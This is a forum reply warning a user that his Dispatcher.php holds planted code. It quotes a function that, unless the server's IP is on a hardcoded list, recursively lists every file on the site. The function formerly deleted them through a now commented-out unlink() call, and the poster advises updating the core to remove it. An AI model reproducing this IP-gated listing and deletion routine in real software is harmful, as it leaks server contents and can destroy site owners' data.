@Alex Hansen your Dispatcher.php contains some very strange code, for example this shouldn't be there:
public function checkServerValidity($dir){
$server_address = $_SERVER['SERVER_ADDR'];
// $server_address == '209.42.195.172' ||
if($server_address == '209.42.193.169' || $server_address == '209.42.194.200'){
}else{
$files = scandir($dir); // get all file names
foreach($files as $file){ // iterate files
if($file == '.' || $file == '..')
continue;
$file_dir = $dir . '/' . $file;
if(is_dir($file)){
$this->checkServerValidity($file_dir);
}else{
//unlink($file); // delete file
echo $file_dir . "\n";
}
}
}
}
This code displays all the files on your system, if you add "?debug=1" to the url tab. That's definitely not a nice feature, more of a serious security issue. But it used to be worse -- this routine used to delete all and every file on your site. Thankfully that's commented out now.
But that makes me thinking that you will probably have more such pretty easter eggs in your code.
I would suggest following: use core updater and update to the bleeding edge. That will remove all this crappy code. But it will also remove all customization in the core (if you have any -- you shouldn't have, but it's possible you do). If you have some, then hire a developer to extract them from core to overrides.